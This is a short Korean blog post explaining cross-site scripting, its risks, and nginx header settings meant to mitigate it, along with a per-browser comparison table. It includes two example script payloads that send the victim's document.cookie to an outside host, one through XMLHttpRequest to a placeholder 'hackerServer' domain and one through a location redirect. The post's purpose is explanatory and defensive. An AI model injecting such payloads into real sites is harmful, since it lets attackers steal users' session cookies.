[보안] - 크로스 사이트 스크립팅(XSS)

오동훈·2023년 4월 12일

Security

목록 보기
1/1

1. XXS란

XXS란 검증되지 않은 입력 값으로 인해 사용자의 웹 브라우저에서 의도하지 않은 악성 스크립트가 실행되는 취약점을 가리킵니다.

2. XSS 위험성

1. 쿠키 정보 및 세션 ID 획득

도메인 뒤에 다음과 같이 입력하게 되면 쿠키 내용을 그대로 유출하게 할 수 있습니다.

<script>
	let xmlhttp = new XMLHttpRequest();
	const url = "http://hackerServer.com?Cookie="+document.cookie;
	xmlHttp.open("GET", url);
	xmlhttp.send();
</script>

2. 시스템 관리자 권한 획득

XXS 취약점이 있는 웹 서버에 다양한 악성 데이터를 포함시킨 후, 사용자의 브라우저가 악성 데이터를 실행하게 할 수 있습니다.

공격자는 공격 코드가 실행되도록 해 사용자의 시스템을 원하는 대로 실행시킬 수 있습니다.

3. 악성코드 다운로드

XXS 공격은 악성 스크립트 자체로 악성코드를 다운로드 시킬 수는 없습니다.

하지만, 악성 코드가 있는 URL로 이동하게 해 악성코드를 다운로드 받게 할 수는 있습니다.

4. 거짓 페이지 노출

3. XSS 방지법

1. Nginx 처리

XSS 필터 설정 - Cross site scripting 공격을 방지하기 위해서 옵션 설정

아래의 설정을 nginx.conf 파일 내 http 블록 안에 적어주면 됩니다.

vi /etc/nginx/nginx.conf

http {
    add_header X-XSS-Protection "1; mode=block";
}

공격자가 HTML삽입으로 입력한 자바스크립트 공격구문(크로스사이트스크립트, XSS)이
"<script> document.location = 'http://www.memozee.com/?cook='+document.cookie; </script>"일 경우의 상황별 주요 웹브라우저의 반응은 다음과 같았습니다.

X-XSS-Protection 헤더를 설정하지 않았을 때 XSS 공격에 대한 웹브라우저별 반응

  • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
  • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
  • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동

X-XSS-Protection: 1 설정시의 XSS 공격에 대한 웹 브라우저별 반응

  • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
  • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
  • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동

X-XSS-Protection: 1; mode=block 설정시의 XSS 공격에 대한 웹 브라우저별 반응

  • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 빈 페이지 출력
  • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 빈 페이지 출력
  • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동

클릭재킹 방지

아래의 설정을 nginx.conf 파일 내 http 블록 안에 적어주면 됩니다.
만약 SAMEORIGIN라는 옵션을 사용하고, 같은 도메인 외 다른 도메인으로 연결된 URL로 이동되는 것을 막아줍니다.

http {
    add_header X-Frame-Options SAMEORIGIN;
}

옵션은 아래와 같습니다.

  1. deny - 무조건 불러올 수 없다
  2. sameorigin - 같은 도메인인 경우 불러올 수 있다
  3. allow-from - 특정 도메인들을 허용한다

네이버의 경우 X-Frame-Options 옵션은 deny로, XSS 필터 설정X-XSS-Protection: 1; mode=block로 해준 것을 확인할 수 있습니다.

profile
삽질의 기록들🐥

0개의 댓글